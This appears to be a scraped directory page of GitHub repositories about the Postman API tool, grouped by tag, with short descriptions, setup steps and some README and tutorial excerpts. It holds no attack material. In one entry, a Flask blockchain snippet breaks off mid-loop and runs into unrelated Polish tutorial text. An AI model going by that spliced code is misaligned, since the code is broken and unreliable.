note, notes 		Postman notes 0 stars 0 watchers 0 forks
rachelruderman/To-Do-List
check, list, note, notes, spec, suspects 		Backend to-do list featuring the usual suspects: Node, Express, Postgres, Postman, Sequelize. Also featuring my notes in Word; check 'em out for a peek into my work flow 0 stars 0 watchers 0 forks

steps (5 listings) (Back to Top)

gunesmes/newman-postman-docker
docker, microservice, newman, service, steps, test 		Run your service / microservice / API test with Postman, create test steps in Postman and run them with Newman in a Docker via cli 0 stars 0 watchers 0 forks
Aadhavans/Postman-CSV-upload-Collection-Runner
attendance, file, steps, upload 		I need to upload CSV file to execute attendance sheet Collection Runner Suggest me with the steps 0 stars 0 watchers 0 forks
dameyer/postman-sfdc-bulk2.0
bulk, collection, postman collection, steps, walks 		postman collection that walks through all the steps of using the Salesforce Bulk API V2.0 0 stars 0 watchers 0 forks
Hossam-PHP/PHP-Restful-Api-OOP-
api blueprint, asyncapi, auth, book, docs, file, folder, host, http, import, json schema, local, oauth, openid, search, server, sql, steps, urls 		Project Run steps 1- You have sql file import it . (hossamapi.sql) 2- Put project folder in xampp/htdocs or any local server you want . 3- Go to postman and run this api urls :- 1. READ BOOKS ( Read All ): (Get) http://localhost/api/book/read.php2. CREATE BOOK : (POST) http://localhost/api/book/create.php Data to insert : { "name" : "Amazing keivy 20.0", "isbn" : "4-7555-66777", "author" : "The best pillow for amazing readers.", "category_id" : 2, "publish_date" : "2018-06-01 00:35:07" }3. UPDATE BOOK : (Post) http://localhost/api/book/update.php Data to update : { "id" : "66", "name" : "Amazing keivy 20.0", "isbn" : "4-7555-66777", "author" : "The best pillow for amazing readers.", "category_id" : 2, "publish_date" : "2018-06-01 00:35:07" }4. DELETE BOOK : (Delete) http://localhost/api/book/delete.php Data to delete : { "id" : "66" } ############################## 5. READ ONE BOOK : (Get) http://localhost/api/book/read_one.php?id=60 ############################## 6. SEARCH BOOKS : (Get) http://localhost/api/book/search.php?s=Amazing ############################## 7. PAGINATE BOOKS : (Get) http://localhost/api/book/read_paging.php ############################## 8. READ CATEGORIES : (Get) http://localhost/api/category/read.php 0 stars 0 watchers 0 forks
raviteja548/xpath-postman
embedded, json, path, sequence, steps, version 		Involves a sequence of steps in conversion of set of set of xpath to json request and further this request will be embedded in postman 0 stars 0 watchers 0 forks

devops (5 listings) (Back to Top)

hkamel/azuredevops-postman-collections
azure, collection, collections, common, devops, test 		The collections allows you to test common Azure DevOps Rest APIs from within Postman. 0 stars 0 watchers 35 forks
xillio/devops-workshop-integration
description, devops, integration, script, workshop 		No description available. 0 stars 0 watchers 5 forks
devopsfaith/krakend-postman
automat, automatic, collection, config, description, devops, file, rake, script 		Create automatic POSTMAN collection descriptions from you KrakenD config file 0 stars 0 watchers 1 forks
ggmaresca/azure-devops-postman
azure, devops 		A Postman Collection for the Azure Devops API 0 stars 0 watchers 0 forks
jscrobinson/devops-postman-tests
devops, file, postman tests, test, tests 		Run postman tests from JSON file 0 stars 0 watchers 0 forks

dump (5 listings) (Back to Top)

denwood/linux_desktop_tools
compose, desktop, docker, dump, intallation, python, tool, tools 		Basic tools intallation by Ansible 2.7 for Linux Desktop : VisualCode + Extension pack, python, pychar, git, gitgrakcen, zsh, terminator, tcpdump, subl3txt, postman, docker , docker-compose, ... 0 stars 0 watchers 0 forks
czardoz/postman-dump-processor
dump, file, files, process 		Processes Postman's dump files 0 stars 0 watchers 0 forks
Gyanachand1/Blockchain
action, chai, check, class, datetime, dump, endpoint, example, flask, form, function, github, host, html, http, https, import, index, install, installed, json, link, local, method, operation, previous, proof, proxy, query, send, server, server., sets, sort, user 		# Module 1 - Create a Blockchain # To be installed: # Flask==0.12.2: pip install Flask==0.12.2 # Postman HTTP Client: https://www.getpostman.com/ # Importing the libraries import datetime import hashlib import json from flask import Flask, jsonify # Part 1 - Building a Blockchain class Blockchain: def __init__(self): self.chain = [] self.create_block(proof = 1, previous_hash = '0') def create_block(self, proof, previous_hash): block = {'index': len(self.chain) + 1, 'timestamp': str(datetime.datetime.now()), 'proof': proof, 'previous_hash': previous_hash} self.chain.append(block) return block def get_previous_block(self): return self.chain[-1] def proof_of_work(self, previous_proof): new_proof = 1 check_proof = False while check_proof is False: hash_operation = hashlib.sha256(str(new_proof**2 - previous_proof**2).encode()).hexdigest() if hash_operation[:4] == '0000': check_proof = True else: new_proof += 1 return new_proof def hash(self, block): encoded_block = json.dumps(block, sort_keys = True).encode() return hashlib.sha256(encoded_block).hexdigest() def is_chain_valid(self, chain): previous_block = chain[0] block_index = 1 while block_index posiada atrybuty takie jak action oraz method. Atrybut action pozwala określić, gdzie wysłać dane z formularza w momencie, gdy zostanie on zatwierdzony. W naszym przypadku będzie to http://localhost:3000/userform. Atrybut method określa metodę, jakiej chcemy użyć - w naszym przypadku niech będzie to GET. Przykładowo, Twój index.html może wyglądać tak: Node Hello world example First Name: Last Name: Gdy już będzie gotowy, wrzuć go do katalogu /assets. Teraz czas na modyfikację pliku server.js. Najpierw zmieńmy to, co chcemy wysyłać, gdy zostanie wysłane żądanie do strony domowej. Zamień więc res.send('Hello world') na res.sendFile('/index.html') - jak się zapewne domyślasz, res.sendFile() wysyła w odpowiedzi plik zamiast wiadomości. Musimy również dodać obsługę żądania na endpoint, do którego będziemy kierować nasz formularz. app.get('/userform', function (req, res) { const response = { first_name: req.query.first_name, last_name: req.query.last_name }; res.end(JSON.stringify(response)); }); W czasie przetwarzania żądania, tworzymy nowy obiekt response, który ma klucze first_name oraz last_name. Do poszczególnych właściwości przypisujemy dane, które otrzymujemy w obiekcie req (od ang. request), czyli w obiekcie z żądaniem. Na koniec wyświetlamy nasz obiekt przetworzony na typ string za pomocą metody JSON.stringify. Po zapisaniu pliku server.js, aplikacja powinna pokazywać formularz, jak poniżej. Po wpisaniu wartości do inputów i wysłaniu ich, powinieneś zostać przekierowany do strony /userform, a po znaku zapytania powinny zostać wyświetlone parametry umieszczone przez Ciebie w inputach. Zadanie: Żonglujemy danymi pomiędzy endpointami Napisz kod obsługujący formularz zgodnie z wskazówkami z tego submodułu, a następnie wyślij swój kod na repozytorium oraz przekaż go do sprawdzenia mentorowi. Podgląd zadania https://github.com/martinproxy0/Zadanie_17_4.git Wyslij link 17.5. Middleware - pośrednik między żądaniem a odpowiedzią 0 stars 0 watchers 0 forks
Heintzdm/SCM_API_Library
data, dump, including, library, progress, sets 		A work in progress library of SpringCM API calls in Postman. This JSON is data dump including Collections, Globals( w/out keys/ids), and Header Presets 0 stars 0 watchers 0 forks
successdt/postman-tool
dump, file, tool 		Postman dump file tool 0 stars 0 watchers 0 forks

video (5 listings) (Back to Top)

Inn4ki/chatapp
admin, application, applications, auth, chat, completed, computer, course, debug, debugging, design, designed, engine, file, files, form, format, included, including, lang, language, learn, learned, learning, lesson, logging, middleware, parameter, passing, passport, program, programming, protecting, quality, query, rating, route, router, routes, sets, speed, sync, training, tutorial, user, users, validation, video, web app 		NODE.JS WEB APPS WITH EXPRESS by Wes Higbee In this Node.js Web Apps with Express training course, expert author Wes Higbee will teach you how to create web applications and APIs with Express. This course is designed for users that are already familiar with HTML, CSS, and JavaScript. You will start by learning how to set up a web app, then jump into learning about the Jade view engine. From there, Wes will teach you about CRUD, including how to add the chat room view, respond with JSON, and edit chat rooms. This video tutorial also covers routers, middleware, APIs, and logging and debugging. Finally, you will learn about auth with passport, including passport user validation, protecting admin routes, and query string parameters. Once you have completed this computer based training course, you will have learned how to create web applications and APIs with Express. Working files are included, allowing you to follow along with the author throughout the lessons. About the Publisher Presented in stunning HD quality, the Infinite Skills range of video based training provides a clear and concise way to learn computer applications and programming languages at your own speed. Delivered to your Desktop, iPad ... More about Infinite Skills Table of Contents Setting Up A Web App What You Will Learn 00:03:28 About The Author 00:01:23 Project Setup 00:02:14 Spinning Up Our Server From Scratch 00:05:11 Serving Index.HTML 00:04:32 Serving Bootstrap Assets 00:05:52 Styling Our Site 00:01:16 How To Access Your Working Files 00:01:15 The Jade View Engine Why View Engines? 00:02:10 The Jade View Engine 00:06:32 HTML Tags In Jade 00:02:16 Attributes Classes And Ids In Jade 00:02:06 Serving Up Jade Views 00:04:24 HTML Reuse In Jade 00:06:26 Code In Jade Views 00:02:37 Passing Data To View Rendering 00:02:01 Setting A Default View Engine 00:00:37 String Interpolation In Jade 00:02:30 Generating Tables In Jade 00:03:50 Tabs And Spaces Oh My 00:01:21 Demystifying Jade 00:02:21 Crud Setting The Stage 00:01:01 Add Chat Room View 00:04:21 Post Chat Room Form 00:06:56 Parsing Form Data From The Request Body 00:04:22 Responding With JSON 00:03:20 Admin Chat Rooms Workflow 00:02:21 Named Route Parameters To Delete Rooms 00:05:59 Edit Chat Rooms 00:06:01 Edit Chat Rooms Part - 2 00:02:00 Responding With 404 Not Found 00:01:39 Wrap Up 00:01:23 Routers Extracting An Admin Module 00:04:47 Modular Admin Router 00:04:00 Pluggable Admin Mount Path 00:03:15 Stumbling Block - Relative Redirects 00:02:49 Chaining Routes 00:01:57 Middleware Understanding Routing And Middleware 00:05:45 Adding Custom Logging Middleware 00:02:15 Understanding Next() 00:01:31 Middleware To Fetch Data 00:07:24 Order Matters.Av 00:01:09 Scoping Middleware 00:03:53 What To Do With Errors 00:03:01 Last Thoughts 00:03:19 APIs A Client Side Chat App 00:01:55 Setup The Client Side Chat App 00:03:01 Creating An API 00:05:42 Modules Are Singletons 00:01:50 Postman To Test API 00:01:24 API Get Room Messages 00:05:49 Posting To An API 00:03:37 API To Delete Messages 00:03:15 Parsing JSON In The Request Body 00:03:25 Logging And Debugging Express-Debug 00:03:03 Logging With Morgan 00:01:45 File Access Log With Morgan 00:01:28 Built-In Express Debugging 00:01:57 When Things Go Wrong Throwing An Error In A Route Handler 00:01:39 Errors In Production 00:01:53 Custom Error Handlers 00:02:40 Browser Hangs 00:00:58 Hanging Async Request Handlers 00:01:17 Errors In Callbacks 00:03:32 Don't Swallow Callback Errors 00:02:46 Auth With Passport Auth With Passport 00:01:49 Login Form 00:06:31 Passport User Validation 00:05:20 Passport Session Serialization 00:01:49 Logging In 00:06:23 Logout 00:03:52 Authorizing Access To Block Anonymous Users 00:03:40 Protecting Admin Routes 00:02:04 Using User Information 00:02:48 Bypassing Login In Development 00:03:11 Query String Parameters 00:02:34 Auth Cookies 00:02:17 Last Thoughts 00:05:45 Publisher: Infinite Skills Release Date: March 2016 ISBN: 9781491958933 Running time: 4:09:49 Topic: Node.js 4 stars 4 watchers 5 forks
cpvariyani/identityserver4-in-net-core-to-secure-public-microservice
client, demonstrate, entity, example, grant, integrate, integrated, microservice, microservices, package, packages, public, sample, secure, server, service, services, test, tested, type, video 		This is a practical example to demonstrate how to secure public microservices in .Net core using Identity server 4. In this video, we have created IdentityServer4, created sample public microservice, integrated that microservice with identity server and last this securing microservice using identity server is tested using postman. A practical example of How to create Identity server in .net core for grant type to client credentials. nuget packages for identity server are 2 IdentityServer4 and IdentityServer4.EntityFramework. and for microservice 1 nuget packages needs to be added Microsoft.AspNetCore.Authentication.JwtBearer 1 stars 1 watchers 0 forks
bakersen/iReporter2
account, application, auth, bridge, countries, development, display, email, enable, enables, event, form, general, github, image, images, link, local, location, mail, notification, play, public, report, script, section, solution, solutions, stat, status, support, things, user, video 		iReporter enables any/every citizen to bring any form of corruption to the notice of appropriate authorities and the general public. Users can also report on things that needs government intervention. Corruption is a huge bane to Africa’s development. African countries must develop novel and localised solutions that will curb this menace, hence the birth of iReporter. ### Features 1. Users can create an account and log in. 2. Users can create a red-flag record (An incident linked to corruption). 3. Users can create intervention record (a call for a government agency to intervene e.g repair bad road sections, collapsed bridges, flooding e.t.c). 4. Users can edit their red-flag or intervention records. 5. Users can delete their red-flag or intervention records. 6. Users can add geolocation (Lat Long Coordinates) to their red-flag or intervention records . 7. Users can change the geolocation (Lat Long Coordinates) attached to their red-flag or intervention records . 8. Admin can change the status of a record to either under investigation, rejected (in the event of a false claim) or resolved (in the event that the claim has been investigated and resolved) . Optional Features 1. Users can add images to their red-flag or intervention records, to support their claims. 2. Users can add videos to their red-flag or intervention records, to support their claims. 3. The application should display a Google Map with Marker showing the red-flag or intervention location. 4. The user gets real-time email notification when Admin changes the status of their record. 5. The user gets real-time SMS notification when Admin changes the status of their record. ## Built With * HTML, CSS, Javascript * Python, Flask APIs * Postgres SQL ## Tools Used * Pivotal Tracker * github * Postman * Heroku ## Version v1.0 ## Authors * **Baker Sentamu** ## iReporter Demo UI Link ## Acknowledgments * Andela Learning Facilitators 0 stars 0 watchers 0 forks
cpvariyani/identity-server-4-policy-based-authorization-.netcore
admin, auth, authorization, demonstrate, enable, enabled, entity, example, http, https, integrate, integrated, microservice, microservices, public, role, sample, secure, server, server., service, services, spec, test, tested, user, users, video, youtube 		Identity Server 4 Role-based Authorization in .Net Core 2 Microservice, In this video, we have enabled the role based authorization using the Identity server. we have created 2 users admin and user and created the respective policy in microservices. In part 1, we have seen how to secure the public microservice, in this part, we have demonstrated how we can implement role-based authorization in Identity server 4 and .Net core. Creation of Identity Server4 in .Net core to secure public microservices with a practical example is explained here. In the part 1 of video, we have created IdentityServer4, created sample public microservice, integrated that microservice with identity server and last this securing microservice using identity server is tested using postman. Part 1 Create Identity Server 4 in .net core to secure Public microservices https://www.youtube.com/watch?v=LVYEq... Part 2 Identity Server 4 Role Based Authorization in .Net Core 2 Microservice 0 stars 0 watchers 0 forks
sharmacloud/Postman
cloud, future, image, images, official, python, scheduling, system, unofficial, user, video 		A scheduling system written in python around the unofficial instagram_api to post images and videos to a user's instagram any time into the future. 0 stars 0 watchers 0 forks

pull (5 listings) (Back to Top)

ChuckMcAllister/CyberArk-EPM-REST-API-Postman-Collection
collection, customer, customers, data, document, documentation, example, examples, list, pull, version 		CyberArk Endpoint Privilege Manager has a REST API for pulling data starting with version 10.7. Available for both on-premise and SaaS customers. Postman collection has documentation and examples 0 stars 0 watchers 1 forks
DigitalAPI/Postman-Bundle
creation, display, find, form, format, information, mean, parse, parses, play, pull, search, syntax 		Postman to the rescue! It parses your API request and response and displays them in more manageable formats. It also simplifies the creation of API requests, which means you’re off the hook for finding the arcane syntax that will pull the precise information you’re in search of. 0 stars 0 watchers 1 forks
allenheltondev/newman-pro
collection, collections, environment, environments, newman, pull, test, version 		Newman Runner that uses the Postman-Pro api to pull the latest version of your collections and environments 0 stars 0 watchers 0 forks
enufacas/azureDevOps.Postman
azure, collection, message, pull, send, stat, stats, summary 		Using a Postman collection to pull Azure DevOps Build stats and send summary Slack message 0 stars 0 watchers 0 forks
Jakobrennan/SpringBootApp
application, boot, form, format, framework, information, mock, pull, spring, spring boot 		First application that uses the spring boot framework, using postman to create and pull information from the mock DB 0 stars 0 watchers 0 forks

agile (5 listings) (Back to Top)

rominamc/TesterQA-PROEM
agile, automat, document, drive, java, order, river, service, test, testing, todo, unit 		Testing manual:documentación. Metodologias agiles.Kanban.Scrum.Ambientes de testing QC/QA. Software para testing de automatización:Registro de bugs:Redmine,Jira.Regresión: Selenium web driver.Katalon recorder.Testing unitario (java):JUnit.Webservice:Postman 0 stars 0 watchers 0 forks
TVoroshilova/QA-automation-programmer
agile, application, automat, automatic, automation, cloud, degree, developing, development, environment, environments, expect, fluent, form, framework, frameworks, function, functional, home, including, integration, level, method, office, performance, process, product, program, public, release, remote, report, seek, skills, software, spec, specification, specifications, stat, system, test, testing, tests, tool, tools, track, tracking, user, writing 		At least 2 years experience in Testing Automation Development using known software testing tools and frameworks as Selenium, Appium, Postman, etc. ∙ Experience with Web, DB (SQL/NoSQL) and API testing – Must. ∙ Experience with working over Linux OS and public cloud environments – Must. ∙ Experience with defect tracking system (as GIT, Jira or VSTS/Azure Dev Ops) – Must. ∙ Experience in working with Docker – Advantage.We are seeking an experienced QA automation programmer that will be leading the testing automation activities for our SaaS product. ∙ The QA automation programmer will be part of an innovative team developing a challenging, cutting edge technology Web application for the e-Commerce world. ∙ Main responsibilities: Develop test plans including functional testing, end user testing, stress, performance, reliability and usability testing. o Evaluate product code according to specifications, report and track bugs and fixes. o Execute automatic tests on the product during development and pre-release stages. o Work closely with R&D and product teams on new features, system integration and performance testing as a part of a startup company stationed in Israel. o Participate in the complete development process using the agile methodology. ∙ Academic degree from a known institution.High level English – very good writing skills, fluent speech.The candidate agrees to work from Trust’s offices and not remotely from home.Salary expectations: Up to 2000 USD (Gross salary) 0 stars 0 watchers 0 forks
go4lab/koa-agile-web-server
agile, endpoint, endpoints, server, test 		Build, run & test Koa Agile Web Server & test endpoints easily with Postman. 0 stars 0 watchers 0 forks
kevinxu993/Fanlinc
access, agile, application, backend, cloud, data, database, development, flexible, frontend, handling, mean, method, process, relationship, simulate, software, storage, version, web app 		⚫ Developed a web application to foster meaningful relationships between fans, and grow the fervent passions for the fandoms they love. ⚫ Coded in Java with Spring Boot for backend, ReactJS and HTML for frontend. ⚫ Used MySQL database. Used AWS for cloud storage. Used Spring Data JPA to allow data access and Google API to implement map feature. ⚫ Wrote REST APIs in the backend to ensure flexible data handling. ⚫ Tested the APIs using Postman to ensure early failure detection and stable development. ⚫ Worked in a Scrum team using agile software development methodology. ⚫ Used Git for version control to simulate a software development process 0 stars 0 watchers 0 forks
testProjekten/medium-Tdd-Js-Swggr-Dckr
agile, development, docker, drive, driven, github, http, https, jenkins, newman, swagger, test 		Implementing this post Project https://medium.com/nycdev/agile-and-test-driven-development-tdd-with-swagger-docker-github-postman-newman-and-jenkins-347bd11d5069 0 stars 0 watchers 0 forks

contact (5 listings) (Back to Top)

imvamsi/ReactDiary
application, contact, event 		MERN application for contact keeping and event maintaining 📕 1 stars 1 watchers 0 forks
miladBentaiba/REST-API
application, axios, communicate, contact, frontend, list, managing, operation, react, test 		- create a REST API for managing contact list (CRUD operation) - use Postman to test your REST API - create a frontend application with react that use this REST API. You can use axios to communicate with the API 1 stars 1 watchers 0 forks
castlegateit/cgit-wp-postman
contact, form, plugin 		Flexible contact form plugin for WordPress 0 stars 0 watchers 1 forks
contactbharathi/postman
contact 		postman 0 stars 0 watchers 0 forks
negate-strk/da-strike-esports-postman
contact, ember, message, sports 		I'm the guy you message when you want to contact a strike esports staff member! 0 stars 0 watchers 0 forks

maps (5 listings) (Back to Top)

heremaps/postman-collections
collection, collections, maps 		Postman collections for HERE REST APIs. 0 stars 0 watchers 35 forks
retta-ti/geogrid-apis-postman
geogrid, http, https, maps, test 		Projeto com as APIs do GeoGrid (https://geogridmaps.com.br/) para testar usando o Postman. 1 stars 1 watchers 0 forks
geotracsystems/postman-mapsApiAutomation
automat, automation, maps, system, systems 		Contains Postman Collection for Maps API automation 0 stars 0 watchers 0 forks
jpsiyyadri/postmanExperiments
maps 		Postman API, Google maps API, Twitter API 0 stars 0 watchers 0 forks
rubenRP/covid-map
covid, data, maps, resource, resources, source, updated 		App creted with GatsbyJS and Leaflet maps to show COVID19 updated data using Postman COVID19 resources. 0 stars 0 watchers 0 forks

threaded (5 listings) (Back to Top)

RathaKM/url-imagecount-service
image, images, implementation, service, sync, threaded 		Multithreaded & Asynchronous Spring Boot and Java 8 based REST implementation for counting the images in the given Urls 4 stars 4 watchers 1 forks
JimmyCastiel/postman
chat, secure, secured, threaded 		Multi-threaded secured chat over TCP 1 stars 1 watchers 0 forks
wannaup/postman-go
lang, mail, messaging, microservice, preferred, relay, service, threaded, version 		The Golang version of our preferred postman mail to threaded messaging relay microservice in Go. 1 stars 1 watchers 0 forks
cscawley/api-load-testing
collection, collections, light, postman collection, postman collections, single, test, tester, testing, threaded 		A light API load tester (single-threaded). Using postman collections and Newman. 0 stars 0 watchers 0 forks
wannaup/postman
mail, messaging, microservice, service, threaded 		A mail to threaded messaging microservice in Go and SCALA 0 stars 0 watchers 0 forks

branch (5 listings) (Back to Top)

dby2k/apac-browsertests
branch, browser, host, spec, test, tests 		This is the apac branch for browser tests involving Ghost Inspector & Postman 0 stars 0 watchers 0 forks
SerhiiY/food-delivery-server-goit
branch, course, data, database, express, http, list, module, node, product, products, queries, server, server., task, test, tested, user 		A course task with using node.js server. All queries were tested by Postman. App can give products list or user by id and write a new product or user to the database. On master branch used http module, on express-hw branch express.js is used. 0 stars 0 watchers 0 forks
skaler12/Postman-CRUD_Repo-Hibernate-More---Furniture_Warehouse-
application, branch, engine, frontend, future, lang, language, operation, skal 		Furniture Warehouse App. Application shows how i use Hibernate, Jpa, CRUD Repository, and Postam Api. DB H2 and MySql. Actually Api has not frontend, so it presents the operation of the application using the postman application. In the future i want to add new branch concering HQL language and thymeleaf engine ! 0 stars 0 watchers 0 forks
snangia/Postman-API_Tests
branch, http, service, site 		http://ab-branch.staging.acml.com/sites/api_service/Fund/GetFeeAndExpenses?countryCode=US&fundIsinOrLocalId=01878H778:3119 0 stars 0 watchers 0 forks
vinay-sv/spring-security-authentication
auth, authentication, branch, collection, connection, future, includes, security, spring, struct, structure 		Authentication Using spring security which includes basic auth, db authentication and jwt. Postman collection added under jwt authentication branch. For Db authentication only the structure is present and not the actual db connections, which is to be implemented in the future. 0 stars 0 watchers 0 forks

push (5 listings) (Back to Top)

at15/postman
email, emails, mail, notification, party, push 		Deliver emails and sms and push notifications using third party API 3 stars 3 watchers 0 forks
roicoroy/ionic4-plugin-push
chai, integrate, integrated, ionic, message, plugin, push, send 		ionic 4 plugin push integrated with Firebase fcm, able to send a chain message from postman 0 stars 0 watchers 0 forks
kkh2ya/push-push-box
notification, push, server, test, testing 		Android Heads-up notification with Google FCM(Firebase Cloud Messaging), using Postman as a server-side testing. Androidプッシュ通知をGoogleのFCMを使用し、Postmanでサーバのテスト済み。 0 stars 0 watchers 0 forks
lensuzukilayhe/learning-git-newman-jenkins
bash, file, github, jenkins, learn, learning, link, newman, push 		i will be learning how to use API's with github through git bash, linking from file to file, pushing it through jenkins, from Postman 0 stars 0 watchers 0 forks
oocast/Postman-s-Run
push 		master push 0 stars 0 watchers 0 forks

signup (5 listings) (Back to Top)

Andriy-Kulak/ServerSideAuthWithNode
application, command, future, host, local, mongo, mongod, mongodb, node, setup, signup, terminal, test 		Server side setup with node that can be used for future application. To use, 1) run mongodb with 'mongod' command 2) In another terminal, run npm with 'npm run dev' 3) go to Postman and use localhost:3090/ && localhost:3090/signup && localhost:3090/signin to test the app 1 stars 1 watchers 0 forks
Fumz-dev/Signup-Page
signup 		Automate signup page for postman 0 stars 0 watchers 0 forks
isildur93/Simple-Auth-system
client, clients, display, express, login, method, play, signup, system, track 		Simple express app that allows you to login, signup, track session permanently and display values received via POST method. These values could be sent by ESP8266 or simply by Postman (or others REST api clients ) 0 stars 0 watchers 0 forks
LarryKarani/IreporterReactJs
access, application, auth, check, clone, command, coverage, development, download, endpoint, endpoints, environment, flask, following, framework, github, heroku, http, https, install, lang, language, list, local, location, login, machine, program, programming, pytest, python, report, reporter, require, signup, single, source, stat, status, terminal, test, tested, user, users, version, youtube 		# iReporterApi iReporter is an application whose aim is to reduce corruption in Africa and foster economic development. It allows users to create red flags and interventions. It implents the following list of APIs. ### Framework used The application is built using python: flask framework. >[Flask](http://flask.pocoo.org/) is a microframework for the Python programming language. ### End points Method | Endpoint | Usage | | ---- | ---- | --------------- | |POST| `/api/v2/auth/signup` | Register a user. | |POST| `api/v2/auth/login` | Login user.| |POST| `api/v2/auth/logout` | Logs out a user.| |POST| `api/v2/interventions` | Create a new incident. | |GET| `api/v2/interventions` | Get all the created incidents. | |GET| `api/v2/interventions/user` | Get all incident of the logged in user. | |GET| `api/v2/interventions/` | Get a single incident. | |PATCH| `api/v2/interventions//location` | Update a single incident location. | |PATCH| `api/v2/interventions//comment` | Update a single incident comment. | |PATCH| `api/v2/interventions//status` | Update a single incident status. | |DELETE| `api/v2/interventions/` | Delete a single incident. | ## Installation 🕵 - To run on local machine git clone this project : ``` $ git clone https://github.com/larryTheGeek/iReporterApi.git ``` Copy and paste the above command in your terminal, the project will be downloaded to your local machine. To Install python checkout: ``` https://www.python.org/ ``` - create a virtualenv and make it use python 3 using the following command. ``` $ virtualenv -p python3 env ``` - activate the virtual environment ``` $ source env/bin/activate ``` - Install Requirements ``` $ pip install -r requirements.txt ``` ### Testing - Run Test using pytest with the following command ``` $ py.test --cov=app test` ``` you will get the test coverage report on your terminal The app can also be tested via Postman - Run App ``` $ python run.py ``` The app should be accessiable via : http://127.0.0.1:5000/ open postman and navigate to the API endpoints described above ### HEROKU URL https://ireporter-version2.herokuapp.com/api/v2/ ### Owner - Larry Karani ### Motivation https://www.youtube.com/watch?v=wHRUDL7GKmI 0 stars 0 watchers 0 forks
nishthagoel99/restapi-shopdb
data, database, login, order, product, products, rest, rest api, restapi, signup, user, users 		A rest api made for users signup,login and to order products and then later see their products. MongoDB database is used! 0 stars 0 watchers 0 forks

internal (5 listings) (Back to Top)

jinternals/demo-cqrs
intern, internal 		-postman 0 stars 0 watchers 3 forks
greatjack1/United-In-Flight-Api
collection, flight, intern, internal, light 		Postman collection for United's internal in-flight wifi api 0 stars 0 watchers 0 forks
HaninMustafa/Mars-Colony-App
intern, internal, local, mobile, object, responsive 		MARS COLONY APP - Web-Based Application: A mobile first responsive layout that uses Angular2 to implement GET and POST HTTP requests with our internal API to save colonist’s info and alien encounter and use localStorage to save colonist object 0 stars 0 watchers 0 forks
martinproxy0/Zadanie_17_5
action, address, application, auth, automat, console, data, dependencies, developer, dynamic, ekspresowe, endpoint, error, example, express, file, folder, form, format, framework, function, github, host, html, http, https, index, install, intern, internal, jest, json, kazan, lang, link, list, listen, local, meta, method, middleware, model, module, modules, node, note, package, parse, parser, party, popular, problem, program, proxy, query, rake, require, role, route, routing, send, server, server., sets, source, stat, status, submit, system, test, type, updated, user, wars 		17. ExpressJS - ekspresowe tworzenie aplikacji w NodeJS Wyzwania: Dowiesz się czym jest ExpressJS Nauczysz się korzystać z routingu Poznasz czym są szablony 17.1. Wprowadzenie do Expressa Express jest jednym z najpopularniejszych frameworków dla aplikacji pisanych w Node.js. Jest bardzo lekki i pozwala na lepszą organizację aplikacji w modelu MVC. Ok, zwolnijmy. Już na samym starcie pojawiły się dwa pojęcia, których do tej pory nie omówiliśmy zbyt dokładnie: framework i MVC. Na początku przypomnijmy sobie czym jest framework. Czym są frameworki? Framework to swego rodzaju szkielet, na którym opieramy budowę naszej aplikacji. Jest pewnym poziomem abstrakcji, na której konstruujemy naszą aplikację. Czym jest abstrakcja? Abstrakcja w inżynierii oprogramowania to technika, dzięki której jesteśmy w stanie zapanować nad złożonością systemu. Najzwyczajniej w świecie nie da się myśleć na wielu płaszczyznach na raz, dlatego programiści dzielą problemy na pewne poziomy i to na nich rozwiązują mniejsze problemy. Przykładowo - programista korzystający z Reacta nie martwi się o niższy poziom abstrakcji, z którego nieświadomie korzysta używając Reacta. Korzystając z komputera także nie zastanawiamy się za bardzo co dzieje się w środku procesora czy też w jaki sposób jest skonstruowany. Tym poziomem abstrakcji po prostu nie zawracamy sobie głowy. Używając JavaScriptu nie myślimy w jaki sposób parser analizuje składnię języka. Jeśli nie jest to nam potrzebne, to możemy zająć się tym, co jest dla nas naprawdę istotne - pisaniem aplikacji internetowych! Express to właśnie kolejny, wyższy poziom abstrakcji, dzięki któremu możemy skupić się na właściwym problemie. Zawiera zbiór generycznych (możliwych do zastosowania w wielu miejscach / uniwersalnych) funkcjonalności, które powtarzają się w obrębie każdej aplikacji. Cały zamysł frameworka opiera się na zasadzie - nie wymyślaj koła na nowo, bo można budować na podstawie dobrych, uniwersalnych rozwiązań. Po wykonaniu tego samego zadania wiele razy, człowiek instynktownie szuka sposobu na automatyzację problemu - szczególnie leniwy programista. :) Framework ma niestety jedną wadę, która bywa momentami również zaletą - narzuca programiście sposób w jaki należy rozwiązać problem. Takie podejście z jednej strony nieco nas ogranicza, bo nie pozwala nam 'grzebać' w rozwiązaniu, a z drugiej strony zmniejsza ilość miejsc, w których moglibyśmy popełnić jakiś błąd. Zaletą takiego podejścia jest też to, że programiści korzystający z frameworków często borykają się z podobnymi problemami, przez co łatwo jest znaleźć rozwiązania, bo ktoś już na pewno zetknął się z czymś, co sprawia nam kłopot :) Wracając do Expressa - jest on niewielkim frameworkiem, który daje programiście przyjemną podstawkę do tworzenia aplikacji, ale nie narzuca żadnych praktyk - może o tym świadczyć chociażby fakt, że wiele znanych frameworków opiera swoją budowę na Express. Można do nich zaliczyć przykładowo Loopbacka, Sailsa czy Krakena. Model-View-Controller Ok, wiemy już czym jest framework - pora na pojęcie MVC :) Jest to skrót od ang. Model View Controller (Model Widok Kontroler). Jest jednym z najczęściej przewijających się wzorców architektonicznych w internecie. Popularnością pomału wypiera go architektura Flux, o której coraz częściej słychać (szczególnie w środowisku Reacta), ale o tym wzorcu powiemy sobie jeszcze przy okazji omawiania Reduxa - wróćmy do MVC. Głównym założeniem przyjętym podczas projektowania MVC było oddzielenie warstwy prezentacji od logiki biznesowej aplikacji. To podejście umożliwia tworzenie narzędzi działających bez graficznego interfejsu (zastępuje go wtedy tzw. Command Line Interface, a.k.a. CLI) i jest dalej popularne w środowisku Unixowym. Tak więc: Model jest reprezentacją logiki aplikacji / problemu z jakim się zmagamy / domeną. Widok opisuje w jaki sposób coś wyświetlić. W React są to komponenty (szczególnie te prezentacyjne). Kontroler przyjmuje dane od użytkownika aplikacji i reaguje na jego działania w obrębie widoku. Aktualizuje widok i model aplikacji. O samej architekturze można napisać osobny moduł tym bardziej, że jak już wcześniej wspomnieliśmy bardzo często przewija się on w środowisku front-end developerów i jest częścią składową wielu frameworków. Sama implementacja MVC wymaga wiedzy na temat programowania obiektowego i wzorców projektowych. Zainteresowanych zapraszam do przeczytania tej książki na temat wzorców projektowych stosowanych w JavaScripcie. Express dostarcza wielu funkcjonalności do tworzenia aplikacji webowych. Jak już wspomniałem, ułatwia on przede wszystkim szybki rozwój aplikacji opartych na Node.js. Podstawowymi cechami tego frameworka są: serwowanie plików statycznych za pomocą jednej komendy konfigurowanie middleware, 